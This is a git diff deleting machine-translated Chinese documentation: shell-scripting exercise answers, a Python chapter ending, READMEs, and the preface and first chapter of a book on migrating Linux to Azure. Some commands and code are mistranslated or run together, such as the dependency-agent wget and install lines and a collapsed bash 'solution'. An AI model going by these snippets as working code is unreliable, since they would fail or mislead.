first 2 letters (zero based) -print(str[2:]) # Start from the second letter -print(str[3:5]) # from the third to fifth letter -print(str[-1]) # -1 means the last letter if you don't know the length - -``` - -![](img/7d996f4c-71ac-4faa-8e65-b408841d8ae5.png) - -要替换一个字符串,你可以像这样使用 replace 方法: - -```sh -#!/usr/bin/python3 -str = "Welcome to Python scripting world" -str2 = str.replace("Python", "Shell") -print(str2) -``` - -![](img/ad30521f-0df5-49e6-b500-1f411b6ede49.png) - -要改变字符大小写,可以使用`upper()`和`lower()`函数: - -![](img/2da7c9f9-6718-4ff1-914d-505e3c3f3fca.png) - -如您所见,在 Python 中处理字符串非常简单。 Python 作为另一种脚本语言是一个很棒的选择。 - -Python 的强大之处在于现有的库。 从字面上说,有成千上万的库可以提供你所能想象到的任何东西。 - -# 总结 - -现在我们对 Python 的了解就到此结束了,这当然是一次简短的参观。 我们可以再次强调许多语言的相似之处,以及学习任何编程语言的重要性。 你在一种语言中所学的东西在你遇到的大多数其他语言中都会有帮助。 - -我们从 Python 的 Zen 中学到的东西将帮助我们设计和开发优秀的代码。 我们可以使用以下 Python 代码打印 Python 的 Zen: - -```sh ->>>import this -``` - -我们可以在 REPL 提示符上输入代码。 保持代码的整洁和良好的间隔将有助于提高可读性,并最终有助于代码的维护。 - -我们还看到,Python 喜欢在代码中显式地转换数据类型,而不会隐式地转换数据类型。 - -最后,我们看到了如何使用 Python 操作字符串。 - -我们也到了这本书的结尾,但希望这是你脚本生涯的开始。 祝你好运,谢谢你的阅读。 - -# 问题 - -1. 下面的代码将打印多少个字符? - -```sh -#!/usr/bin/python3 -str = "Testing Python.." -print(str[8:]) -``` - -2. 以下代码将打印多少字? - -```sh -#!/usr/bin/python3 -print( len(sys.argv) ) -Solution: Nothing -``` - -3. 以下代码将打印多少字? - -```sh -#!/usr/bin/python3 -import sys -print("Hello " + sys.argv[-1]) -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://www.python.org/about/gettingstarted/](https://www.python.org/about/gettingstarted/) -* [https://docs.python.org/3/](https://docs.python.org/3/) \ No newline at end of file diff --git a/docs/master-linux-shell-script/15.md b/docs/master-linux-shell-script/15.md deleted file mode 100644 index 2d2dbce2..00000000 --- a/docs/master-linux-shell-script/15.md +++ /dev/null @@ -1,268 +0,0 @@ -# 十五、答案 - -# 第一章 - -1. 错误在第二行:变量声明中不应该有空格。 - -```sh -#!/bin/bash -var1="Welcome to bash scripting ..." -echo $var1 -``` - -2. 结果将是`Tuesday`,因为数组是零基的。 -3. 这里有两个错误:第一个错误是变量声明中的空格,第二个错误是使用了单引号,而我们应该使用反引号。 - -解决方案: - -```sh -#!/bin/bash files='ls -la' echo $files -``` - -4. 变量`b`的值为`c`,变量`c`的值为`a`。 - -因为我们没有在赋值行中使用美元符号,所以变量将采用字符值而不是整数值。 - -# 第二章 - -1. 三个 - -这是因为整个 bash 主要是一个注释,所以有三行注释。 - -2. 选项`-b`与其值之间没有空格,因此它将被视为一个选项。 - -```sh --a --b50 --c -``` - -3. 1 - -四个 - -这是因为我们有 5 个传递的参数,并且我们使用 shift 来删除一个参数。 - -4. 2 - -`-n` - -这是因为它位于左侧,而`shift`命令从左侧删除参数。 - -# 第三章 - -1. `False` - -由于小写字符具有较高的 ASCII 顺序,语句将返回`False`。 - -2. 两者都是正确的,并将返回相同的结果,即`Strings`不相同。 -3. `Three` - -我们可以使用以下方法: - -* :大于等于 -* `-gt`:大于 -* :不等于 - -4. 真正的 - -因为一个测试足以返回 true,所以我们可以确定第二个测试将返回 true。 - -# 第四章 - -1. 我们可以进行以下更改: - -```sh -"Hello message": { - "prefix": "hello", - "body": [ - "echo 'Hello ${1|first,second,third|}' " - ], - "description": "Hello message" - } -``` - -2. `source`命令。 - -# 第五章 - -1. 使用`((`: - -```sh -#!/bin/bash -num=$(( 25 - 8 )) -echo $num -``` - -2. 问题在于文件名中的空格。 要修复它,把文件名放在引号之间: - -```sh -$ rm "my file" -``` - -3. 括号前没有美元符号: - -```sh -#!/bin/bash -a=$(( 8 + 4 )) -echo $a -``` - -# 第六章 - -1. 没有行。 因为循环输出被重定向到一个文件,所以屏幕上不会显示任何内容。 -2. 四。 循环将从`8`开始,一直持续到`12`,它将匹配大于或等于的条件,并中断循环。 - -3. 问题在于`for`循环定义中的逗号。 它应该是分号。 所以正确的脚本应该如下所示: - -```sh -#!/bin/bash -for (( v=1; v <= 10; v++ )) -do -echo "value is $v" -done -``` - -4. 由于递减语句在循环之外,count 变量将是相同的值,即`10`。 这是一个无限循环,它将永远打印`10`,要停止它,你需要按*Ctrl*+*C*。 - -# 第七章 - -1. 由于我们使用的是`$1`变量而不是`$@`,因此函数将只返回第一个元素。 -2. `50` 是的,它是一个全局变量,但因为我们在函数调用之前打印了值,所以变量不受影响。 -3. 缺少括号`()`或在函数名前添加关键字 function。 应该这样写: - -```sh -clean_file() { - is_file "$1" - BEFORE=$(wc -l "$1") - echo "The file $1 starts with $BEFORE" - sed -i.bak '/^\s*#/d;/^$/d' "$1" - AFTER=$(wc -l "$1") - echo "The file $1 is now $AFTER" -} -``` - -4. 问题在于函数调用。 在函数调用期间不应该使用括号`()`。 括号只能在函数定义中使用。 正确的代码应该是这样的: - -```sh -#!/bin/bash -myfunc() { -arr=$@ -echo "The array from inside the function: ${arr[*]}" -} -``` - -```sh -test_arr=(1 2 3) -echo "The origianl array is: ${test_arr[*]}" -myfunc ${test_arr[*]} - -``` - -# 第八章 - -1. 一个也没有。 因为您正在用一个不存在的大写字母搜索 Sed -2. 一个也没有。 删除命令`d`只删除流中的行,不删除文件。 要从文件中删除,可以使用`-i`选项。 -3. 第四行。 因为我们使用了追加命令 a,所以它将被插入到指定的位置之后。 -4. 没有,因为`w`标志只与替代命令`s`一起使用。 - -# 第九章 - -1. 可以使用以下命令打印第 50 行: - -```sh -$ sed -n '50 p ' /etc/httpd/conf/httpd.conf -``` - -2. Apache 默认端口`80`可以修改为`8080`: - -```sh -$ sed -i '0,/Listen [0-9]*/s//Listen 8080/' /etc/httpd/conf/httpd.conf -``` - -我们搜索`Listen`,其中定义了 Apache 默认端口,搜索它旁边的数字,并将其更改为`Listen 8080`。 - -# 第十章 - -1. 没有什么 - -你应该使用没有美元符号的变量名来打印它。 - -2. 解决方案:0 - -因为您应该打印`$1`而不是`$2`,其中`$1`是第一个字段。 - -3. `while`循环的迭代值应该小于`4`而不是`3`。 -4. `1` - -因为 UID 小于`1`的唯一用户是 root(`UID=0`),所以将打印一行。 - -# 第十一章 - -1. 0 行 - -因为单词`awesome`后面有一个句号,如果您想打印该行,可以使用以下命令: - -```sh -$ awk '/awesome\.$/{print $0}' myfile -``` - -2. 两条线 - -因为我们搜索包含单词`scripting`的行。 如果句点后面跟着任何文本,则该模式只存在于两行中,因为第三行在单词后面不包含句点。 - -3. 三行 - -因为我们使用了问号,这意味着字符类不是模式匹配的必须对象。 - -4. 没有什么 - -由于我们使用了管道符号,这是一个 ERE 字符,并且由于我们使用 sed,我们必须使用 sed 的`-r`选项来打开扩展引擎。 - -# 第十二章 - -1. 字段 1 -2. 您可以使用`print NR`或通过管道将输出输出到`wc -l` - -我们必须使用`-l`,否则它将计算单词。 - -```sh -$ awk '{print $1}' access.log | sort | uniq -c -``` - -```sh -$ awk '{print $7}' access.log | grep 'php' | sort | uniq -c | sort -nr | head -n 1 -``` - -你应该使用标题`-n 1`来获得只有一页的内容。 - -# 第十三章 - -1. 使用`lastlog`命令 - -```sh -$ lastlog | awk ' /Never logged/ { print $1}' -``` - -2. 使用`wc`命令 - -```sh -$ lastlog | awk ' /Never logged/ { print $1}' | wc -l -``` - -3. 零。 因为这一行以两个星号结尾。 - -# 第 14 章 - -1. 8 -2. 因为我们正在使用`sys`模块,所以应该首先导入它。 - -所以正确的代码应该是这样的: - -```sh -#!/usr/bin/python3 -import sys -print( len(sys.argv)) -``` - -3. 2 \ No newline at end of file diff --git a/docs/master-linux-shell-script/README.md b/docs/master-linux-shell-script/README.md deleted file mode 100644 index 84b65a69..00000000 --- a/docs/master-linux-shell-script/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux Shell 脚本 - -> 原文:[Mastering Linux Shell Scripting](https://libgen.rs/book/index.php?md5=5124072A4697C62BE95CA7CCD6453303) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-linux-shell-script/SUMMARY.md b/docs/master-linux-shell-script/SUMMARY.md deleted file mode 100644 index 7fcbeca5..00000000 --- a/docs/master-linux-shell-script/SUMMARY.md +++ /dev/null @@ -1,17 +0,0 @@ -+ [精通 Linux Shell 脚本](README.md) -+ [零、前言](00.md) -+ [一、使用 Bash 编写脚本的内容和原因](01.md) -+ [二、创建交互式脚本](02.md) -+ [三、条件](03.md) -+ [四、创建代码片段](04.md) -+ [五、替代语法](05.md) -+ [六、迭代和循环](06.md) -+ [七、使用函数创建构建块](07.md) -+ [八、流编辑器介绍](08.md) -+ [九、自动化 Apache 虚拟主机](09.md) -+ [十、AWK 基础](10.md) -+ [十一、正则表达式](11.md) -+ [十二、使用 AWK 汇总日志](12.md) -+ [十三、比 AWK 更好的`lastlog`](13.md) -+ [十四、使用 Python 作为 Bash 脚本的替代方案](14.md) -+ [十五、答案](15.md) diff --git a/docs/migrate-linux-ms-azure/0.md b/docs/migrate-linux-ms-azure/0.md deleted file mode 100644 index d2813fa7..00000000 --- a/docs/migrate-linux-ms-azure/0.md +++ /dev/null @@ -1,83 +0,0 @@ -# 零、前言 - -## 大约 - -本节简要介绍作者和审稿人、本书的内容、入门所需的技术技能以及完成所有主题所需的硬件和软件。 - -## 关于将 Linux 迁移到微软 Azure - -随着云的采用成为组织数字化转型的核心,在云中部署和托管企业业务工作负载的需求越来越大。*将 Linux 迁移到微软 Azure* 提供了一系列关于将 Linux 工作负载部署到 Azure 的可行见解。 - -首先,您将了解信息技术、操作系统、Unix、Linux 和窗口的历史,然后再看云以及虚拟化之前的情况。这将使那些不太熟悉 Linux 的人能够学习掌握即将到来的章节所需的术语。此外,您将探索流行的 Linux 发行版,包括 RHEL 7、RHEL 8、SLES、Ubuntu Pro、CentOS 7 等。 - -随着您的进步,您将深入 Linux 工作负载的技术细节,如 LAMP、Java 和 SAP。您将学习如何评估您当前的环境,并计划通过云治理和运营规划迁移到 Azure。 - -最后,您将经历一个真正的迁移项目的执行,并学习如何分析、调试和恢复 Azure 上的 Linux 用户遇到的一些常见问题。 - -到本书结束时,您将能够熟练地为您的组织执行 Linux 工作负载到 Azure 的有效迁移。 - -### 关于作者 - -**Rithin Skaria** 是一名开源传播者,在 Azure、AWS 和 OpenStack 上管理开源工作负载方面拥有超过 9 年的经验。他目前在微软担任客户工程师,是微软内部多个开源社区活动的一部分。他在多个开源部署以及这些工作负载的管理和向云迁移中发挥了至关重要的作用。他还与人合著了《Azure 上的 T2 Linux 管理》,第二版《T3》和《建筑师用的 T4 Azure》,第三版《T5》,这两本书都是由 Packt 出版的。在 LinkedIn 上 **@rithin-skaria** 与他联系。 - -**Toni Willberg** 是 Azure 上的 Linux 主题专家,拥有 25 年的专业 IT 经验。他曾作为解决方案架构师与微软和红帽合作,帮助客户和合作伙伴进行开源和云之旅。他参与了帕克特出版的各种书籍的技术评论。 - -目前,托尼在 Iglu 担任云业务部门主管,Iglu 是一家提供专业公共云项目和服务的托管服务提供商公司。在推特上联系他**@托尼威尔伯格。** - -### 关于审稿人 - -**Marin Nedea** 是一位经验丰富的 Linux 升级工程师、导师、认证 Azure Linux 培训师、ITIL 和 KT 从业者,在 IT 服务行业拥有超过 15 年的历史。他在复制、集群和高可用性方面拥有丰富的理论和实践知识,并在内部数据中心、虚拟化、IBM Cloud 和 Azure 云技术方面拥有专业知识。虽然他是一名信息技术专业人员,但他在罗马尼亚布加勒斯特的斯皮鲁·哈尔特大学学习教育科学心理学。您可以在**@马林·内德亚**继续在领英上关注。 - -**Micha Wets** 是一位微软 MVP,他喜欢谈论 Azure、Powershell 和自动化,此前曾在微软会议、国际活动、微软网络研讨会、研讨会等场合发言。他拥有超过 15 年的 DevOps 工程师经验,对混合云和公共云有着深入的了解。 - -如今,Micha 主要关注 Azure、Powershell、自动化、Azure DevOps、GitHub Actions 和 Windows 虚拟桌面环境,在将这些环境迁移到 Azure 时,他的知识尤为丰富。Micha 是 Cloud 的创始人。建筑师,你可以在推特上关注他 **@michawets** 。 - -### 学习目标 - -* 探索各种 Linux 发行版的术语和技术 -* 了解微软和商业 Linux 供应商之间的技术支持合作 -* 使用 Azure Migrate 评估当前工作负载 -* 规划云治理和运营 -* 执行真实世界的迁移项目 -* 管理项目、人员配备和客户参与 - -### 观众 - -这本书旨在让云架构师、云解决方案提供商和任何处理将 Linux 工作负载迁移到 Azure 的利益相关者受益。基本熟悉微软 Azure 将是一个优势。 - -### 进场 - -*将 Linux 迁移到 Microsoft Azure* 使用理论解释和实践示例的理想混合,帮助您为当今企业面临的现实迁移挑战做好准备。 - -### 硬件和软件要求 - -**硬件要求** - -为了获得最佳的实验体验,我们推荐以下硬件配置: - -* Windows Server 2016 安装了 Hyper-V 角色,至少有 8 GB 内存和 8 个内核,用于评估和迁移实验室 - -**软件要求** - -我们还建议您提前进行以下软件配置: - -* Azure 订阅 -* 蓝色 CLI - -### 惯例 - -文本中的码字、数据库名称、文件夹名称、文件名和文件扩展名如下所示。 - -“您可以使用 **wget** 命令在 Linux 中下载它,或者使用 **SFTP/SCP** 将其下载到您的计算机并传输到 Linux 机器上。” - -下面是一段示例代码: - -wget-content-disposition https://aka.ms/dependencyagentlinux-O InstallDependencyAgent-linux64 . bin - -sh install dependency-Linux64.bin-安装相依性-Linux 64 . bin - -随着 Azure 以非常快的速度发展,您在 Azure 门户中看到的一些视图或功能可能与本书中看到的截图不同。我们已经努力确保在撰写本书时,本书中的截图和所有技术事实都是正确的。我们在本书中提供了官方文档的链接。如果您不确定,请查看文档以获取最新的使用指南。 - -### 下载资源 - -我们在 https://github.com/PacktPublishing/也有丰富的书籍和视频目录中的其他代码包。看看他们! \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/1.md b/docs/migrate-linux-ms-azure/1.md deleted file mode 100644 index cfb55f04..00000000 --- a/docs/migrate-linux-ms-azure/1.md +++ /dev/null @@ -1,326 +0,0 @@ -# 一、Linux:云的历史与未来 - -“微软♡ Linux”写在微软 CEO 萨提亚·纳德拉 2015 年演讲的最后一张幻灯片上。这宣布了一波即将发生的变化,塞特亚·纳德拉希望解决微软对 Linux 和开源软件技术的兴趣。每个人都觉得这里有些矛盾,想知道微软为什么要和 OSS 技术合作。《连线》杂志报道称,纳德拉对打老仗不感兴趣——尤其是,不管你喜不喜欢,Linux 已经成为当今商业技术的重要组成部分。纳德拉告诉《连线》杂志,“如果你不接受新的事物,你就无法生存。” - -在撰写本文时,微软 Azure 50%以上是由 Linux 统治的。关于将现有的 Linux 工作负载迁移到微软 Azure 有很多误解,这本书将有助于理解复杂性,简化迁移过程。 - -我们将从 Linux 的简史和导致它发展的事件开始。与此同时,我们将讨论 Linux 的一些竞争对手,以及 Linux 和这些竞争对手的用例。我们将介绍 Linux 服务器在 IT 基础架构中扮演的一些关键角色,并讨论为什么云比内部解决方案更适合运行这些工作负载。随着大多数组织采用云转型战略,对虚拟机、容器、容器编排解决方案、大数据等的需求不断增加,微软 Azure 提供了一个平台来运行所有这些任务关键型工作负载。 - -为了了解将 Linux 工作负载迁移到 Azure 的复杂性,您需要了解 IT、操作系统、Unix、Linux 和 Windows 在云和虚拟化之前的历史。本章将提供一些关于 Linux 的重要背景信息,以使那些不太熟悉它的人能够学习术语。 - -与自托管环境相比,公共云有许多优势。我们将讨论它们,特别是讲述 Azure 是如何支持 Linux 工作负载的。 - -虽然我们将简要提及 Linux 系统中一些典型的困难方面,但您也将了解到 Azure 正在快速发展。Azure 现在有了开箱即用的功能,这将使 Linux 系统管理员的生活更加轻松。 - -本章涵盖以下关键主题: - -* Linux 的简史和演变 -* Linux 在信息技术基础设施中的使用案例 -* 内部基础设施面临的挑战 -* 云经济学 -* 迁移到 Azure 的优势 -* 简化与迁移相关的复杂性 - -让我们从 Linux 的简史开始。 - -## Linux 简史 - -在我们谈论 Linux 的历史之前,从导致它发展的事件开始是一个好主意。你可能见过像汽车或房子那么大的旧电脑的照片。现在我们生活在一个手持设备和瘦客户端的世界里,很难想象处理这么大的系统会有多麻烦。不仅仅是巨大的尺寸;过去在这些设备上运行的不同操作系统使事情变得更加复杂。每一个软件都是为一个目的而设计的,不可能在另一台计算机上运行。简而言之,我们遇到了兼容性问题。除了这些问题之外,购买这些电脑的成本也是巨大的。对于普通人来说,购买一台电脑并不是一个梦想。 - -### Unix - -上述缺点导致了一个名为 **Unix** 的项目的开发,该项目是由贝尔实验室的一群开发人员在 20 世纪 70 年代中期开始的。这个项目的主要目的是为所有计算机制作一个通用软件,而不是为每台计算机制作单独的软件。项目用 C 语言代替汇编语言;它确实精致而不复杂。 - -Unix 操作系统被政府机构、大学和学校广泛采用。它存在于许多系统中,从个人计算机一直到超级计算机。虽然 Unix 的出现解决了一些问题,但它没有解决定价问题;这些系统仍然很昂贵。 - -20 世纪 80 年代初,组织开始开发自己的 Unix 版本。作为多个开发分支的结果,我们最终得到了许多不同的版本或方言。每个开发者和组织都想创建一个类似 Unix 的自由操作系统,1983 年在麻省理工学院,理查德·斯托尔曼开发了 GNU 项目。这个项目的目标是创建一个免费的操作系统(在许可的意义上,不一定是成本)。这个项目并没有像预期的那样获得多少人气;尽管如此,GNU 工具在 Linux 出现时就被它采用了。 - -### Linux - -1991 年,莱纳斯·托瓦尔兹在芬兰赫尔辛基大学上学时,将 Linux 开发成了一个可自由分发的 Unix。Linus 的动力来自 Andrew Tanenbaum 的 Minix 操作系统,这是另一款面向 PC 的免费 Unix。Linus 想为希望从电脑中获得更多信息的 Minix 用户创作一个可以在基于英特尔 386 的电脑上运行的 Unix 免费学术版。该项目最初被命名为“Freax”,这是一个有趣的项目,最终以“Linux”的名字成为计算机历史上最大的革命之一在 Linux 初期的一个公共论坛(comp.os.minix)上,Linus 提到他的作品是“比 minix 更好的 Minix。”引用他自己的话: - -*“之后就一帆风顺了:长毛编码依旧,但我有了一些设备,调试也更容易了。我是在这个阶段开始使用 C 语言的,这当然加快了开发速度。这也是我开始认真对待我的自大狂想法,让“一个比 Minix 更好的 Minix。“我希望有一天能在 Linux 下重新编译 gcc...* - -*“两个月用于基本设置,但之后只是稍微长一点,直到我有了一个磁盘驱动程序(有严重的问题,但它碰巧在我的机器上工作)和一个小文件系统。那大约是在我推出 0.01 的时候[大约在 1991 年 8 月下旬]:它并不漂亮,没有软驱,也不能做太多事情。我不认为有人编辑过那个版本。但那时我已经上瘾了,在我能扔掉 Minix 之前,我不想停下来。”* - -要是他猜到 30 年后 Linux 会被广泛采用就好了。 - -### Linux 版本历史 - -对于 Linux 的第一个版本(v0.01),没有可执行文件。要使用这个版本,您需要一台 Minix 机器来编译,因为这样做的目的是让 Minix 系统变得更好。1991 年,v0.02 推出,现在被称为 Linux 的第一个正式版本。我们看到的当前 Linux 系统为各种事情提供了大量的资源,例如用户支持、文档和软件仓库。然而,在 Linux 的早期阶段,情况并非如此。在 v0.02 中,Bash(GNU Bourne re Shell)和 gcc (GNU 编译器)是唯一运行的东西,主要关注的是内核开发。 - -v0.02 之后是 v0.03,以此类推;直到 1992 年 Linux 达到 v0.95 之前,一直在进行修订,目标是实现无 bug 的 v1.0。经过两年的修订,v1.0 于 1994 年 3 月问世。经过 25 年的 v1.0,我们目前处于 v5.x 版本,在撰写本文时,发布的最后一个版本是 v5.9。我们预计 v5.10 很快就会发布。 - -如前所述,Linux 采用了 GNU 工具,这些工具在 Linux 的制作中起到了不可避免的作用。没有这些,Linux 可能不会产生我们今天看到的影响。和 GNU 一样, **Berkeley 软件发行版** ( **BSD** )在让 Linux 流行起来的过程中发挥了作用。尽管最初在 Linux 的早期阶段并没有采用 BSD,但后来的版本中有从 BSD 移植的工具。网络守护程序和其他几个实用程序是 BSD 对 Linux 的贡献的完美例子,使它成为令人钦佩的主题。 - -### Linux 的演进和发行版 - -Linux 经过这些年的发展,Linus Torvalds 启动的有趣项目现在被全球数百万台计算机、智能手机、服务器甚至超级计算机使用。如今,Linux 能够运行网络、邮件、电子邮件、视窗系统……不胜枚举。Linux 不仅在内部占据主导地位,而且在 Azure 中也占据了很大一部分工作负载。目前,我们有很多适合企业和个人使用的 Linux 风格。 - -如前所述,Linux 不是由单一组织开发的。它是不同部分或模块的组合,例如内核、GNU 外壳实用程序、X 服务器、桌面环境、系统服务、守护程序和终端命令——所有这些都来自不同的开发人员,并且是独立开发的。如果你愿意,你可以获取内核、外壳和其他组件的源代码并组装起来。有 **Linux 从无到有** ( **LFS** )和**超越 Linux 从无到有** ( **BLFS** )等项目,用户可以下载这些在开源软件下获得许可的软件,进行编译,做出自己的 Linux 味道。 - -虽然令人兴奋,但这需要大量的工作,你必须投入大量的时间让这些组件正常工作。Linux 发行版(通常被称为**发行版**)让这项繁忙的任务变得更加容易。发行版将从存储库中获取所有代码并编译它们,最后创建一个可以在计算机上启动的单一操作系统。发行版的例子包括 Ubuntu、Fedora、CentOS、RHEL、Mint 和 SUSE Linux。一些发行版,如 RHEL、SUSE 和 Ubuntu,也有企业服务器级版本,组织使用它来托管其任务关键型工作负载。 - -面向企业的 Linux 是一个全新的领域。最开始是红帽,以前是垄断的。然而,更多的竞争对手很快出现,包括 Canonical 和 SUSE,以及非商业 CentOS。Azure 支持所有上述企业级 Linux 操作系统,因此每个组织都可以将其 Linux 工作负载迁移到 Azure。 - -在讨论将工作负载转移到 Azure 的好处之前,让我们先了解一下 IT 基础架构中这些 Linux 服务器的常见用例场景,以及与内部部署方法相关的一些挑战。 - -## IT 基础设施中典型的 Linux 用例 - -如前一节*Linux 简史*所述,Linux 操作系统的客户群对于内部环境和云来说都是非常庞大的。在本节中,我们将讨论 Linux 在信息技术基础设施中的一些用例。自从开始采用 Linux 以来,有些东西一直是相关的(文件、网络、数据库等),而另一些东西最近随着新技术的引入而被采用(例如容器化和容器编排)。这些用例将随着时间的推移而增加和发展。 - -### 工作站 - -有很大一部分消费者更喜欢在个人电脑上使用 Linux 作为日常通勤工具。这个领域主要被 Windows 和 macOS 垄断,但是当 Linux 登场后,事情发生了很大的变化。传统上,Linux 一直是程序员和程序员的最爱,为普通消费者提供了比 Windows 或 macOS 更多的定制选项。因此,Linux 成为全球数百万人的首选: - -![Different workstation distros and GUIs](img/B17160_01_01.jpg) - -图 1.1:不同的工作站发行版和图形用户界面 - -目前我们有 Ubuntu、Fedora Workstation、Linux Mint、Elementary OS、CentOS、Arch Linux 等口味。*图 1.1* 展示了**图形用户界面** ( **图形用户界面**)在不同工作站发行版中的表现。 - -### 应用服务器 - -应用服务器是捆绑在一起以促进业务逻辑的计算机软件。如果我们采用一个三层应用,应用服务器是由图形用户界面、业务逻辑和数据库服务器组成的组件。大多数应用服务器都支持 Java 平台,例如 JBoss、Jetty、JOnAS、Apache Geronimo 和 Glassfish: - -![Coupling of application servers with front-end and back-end services to provide end-to-end solutions](img/B17160_01_02.jpg) - -图 1.2:应用服务器与其他服务的耦合,以提供端到端解决方案 - -在*图 1.2* 中,可以看到应用服务器是如何与其他服务耦合的,包括前端和后端服务。应用服务器处理来自前端和后端服务(如数据库和其他逻辑)的用户请求之间的连接。 - -### 数据库服务器 - -Linux 成为数据库之家已经有很长时间了。我们可以根据我们的数据需求在 Linux 上安装关系数据库和非关系数据库。术语**数据库服务器**是指数据库应用和为数据存储分配的内存的组合。这些数据库可以用来记录事务,其方式类似于 SQL Server 在 Microsoft Windows 上的工作方式: - -![Two-tier application model with databases behind a load balancer to provide high availability](img/B17160_01_03.jpg) - -图 1.3:负载平衡器后面有数据库的两层应用模型 - -一些常用的数据库服务包括 MariaDB、PostgreSQL、MySQL 和 MongoDB。在大多数情况下,托管在 Linux 服务器中的数据库被保留在负载平衡解决方案后面,以提供高可用性。*图 1.3* 就是一个例子。 - -### 虚拟化 - -虚拟化的目的是使用称为**虚拟机管理程序**的专用软件创建虚拟机。大多数人可能都熟悉术语**虚拟机** ( **虚拟机**,因为这在内部环境和云中非常常见。使 Linux 成为虚拟化主机的目的与安装具有 Hyper-V 角色的 Windows Server 实例相同。虚拟机通常是为隔离工作负载和测试目的而创建的。流行的 Linux 虚拟化解决方案包括 KVM、RHEV、Xen、QEMU、VirtualBox 和 VMware: - -![Levels of virtualization: Isolated apps, different guest OS, physical hardware](img/B17160_01_04.jpg) - -图 1.4:虚拟化级别 - -如图*图 1.4* 所示,虚拟机管理程序安装在硬件上,使用虚拟机管理程序创建不同的虚拟机。这些虚拟机中的每一个都与操作系统隔离,并且可以托管不同的应用。 - -### 容器 - -我们刚刚讨论了虚拟机及其使用安装在我们的 Linux 服务器上的虚拟机管理程序的创建。这些服务器的占地面积会很大,并且通常包含一些我们不需要的库和二进制文件。这导致计算资源的浪费;随着所有虚拟机的部署,您的主机容量将很快耗尽。随着容器的引入,情况发生了变化,我们不需要部署整个虚拟机来托管专用服务。 - -容器只是一个软件包,包含特定任务所需的代码、二进制文件和库。例如,要运行一个网络服务器,我们可以部署一个虚拟机,并在其上安装 NGINX。虚拟机的资源消耗会很高,并且包含许多我们不需要的服务。相反,我们可以使用容器,因此该映像只有运行 NGINX 服务器的代码,没有其他内容。这意味着轻量级映像和快速部署。 - -就虚拟机而言,我们使用虚拟机管理程序来运行它们;就容器而言,我们使用容器运行时引擎。两者的对比见*图 1.5* 。一些常见的例子包括 Docker(使用最多)、Runc、Rkt(不再开发)和 Mesos: - -![A comparison between containers and VMs](img/B17160_01_05.jpg) - -图 1.5:容器与虚拟机 - -目前,我们为每个服务都提供了容器映像,包括 NGINX、MySQL 和 Apache。所有主要软件包都已移植。 - -### 云计算 - -Linux 可以用来托管云操作系统解决方案,比如 OpenStack。我们可以在我们的 Linux 服务器上安装 OpenStack 来托管云环境(私有和公共),以管理包括计算、存储和网络在内的大型底层资源池。可以把它想象成 Azure 堆栈,在这里你可以在自己的数据中心运行 Azure。同样,您可以在数据中心托管云环境,供用户使用运行在 Linux 上的 OpenStack 部署服务: - -![The basic architecture of how OpenStack runs on top of Linux to serve as a platform for deployments](img/B17160_01_06.jpg) - -图 1.6:运行在 Linux 之上的 OpenStack - -OpenStack 公开了许多 API,用户可以使用这些 API 来跟踪、管理和监控他们的部署。*图 1.6* 展示了 OpenStack 如何在 Linux 之上运行作为部署平台的基本架构。 - -### 容器编排 - -随着容器的引入,许多组织正在从单一架构向微服务架构转变。随着容器数量的增加,大规模管理它们并不容易。这就是容器编排工具(如 Kubernetes)出现的地方。我们可以在 Linux 机器上安装 Kubernetes 服务,并向其中添加 Linux 和 Windows 工作节点。主服务器将在 Linux 服务器上运行,这将作为集群的管理平面。*图 1.7* 展示了如何将 Linux 节点添加到 Kubernetes 主节点的高级表示。以类似的方式,我们还可以创建一个 Windows 节点池,并将其添加到 Kubernetes 集群中: - -![A high-level representation of how Linux nodes are added to the Kubernetes cluster](img/B17160_01_07.jpg) - -图 1.7:Kubernetes 集群中的 Linux 工作节点 - -Kubernetes 的另一个发行版是由红帽开发的 OpenShift。不同的供应商发布了许多 Kubernetes 发行版,都是为了容器编排。事实上,有一些专门的 Linux 发行版是在考虑到 Kubernetes 的情况下开发的,比如 Rancher 的 k3OS。容器编排是一个蓬勃发展和不断增长的领域,我们甚至可以单独就这个主题写一整本书。 - -### 大数据 - -我们从简单的例子开始,一直扩展到复杂的场景,比如 Linux 上的大数据。可以在 Linux 上安装 Apache Hadoop 等工具,然后进行大数据分析。由于对 Azure Synapse Analytics 或 Azure HDInsight 等托管云服务的可用性和支持各不相同,我们并没有在每个组织中真正看到这种情况。然而,如果你想在 Linux 上实现大数据分析,这是可能的。*图 1.8* 显示了数据科学家和大数据分析师使用的工具的广泛列表,所有这些工具都可以安装在 Linux 上: - -![The list of tools that are used by data scientists and big data analysts](img/B17160_01_08.jpg) - -图 1.8:用于大数据分析的工具 - 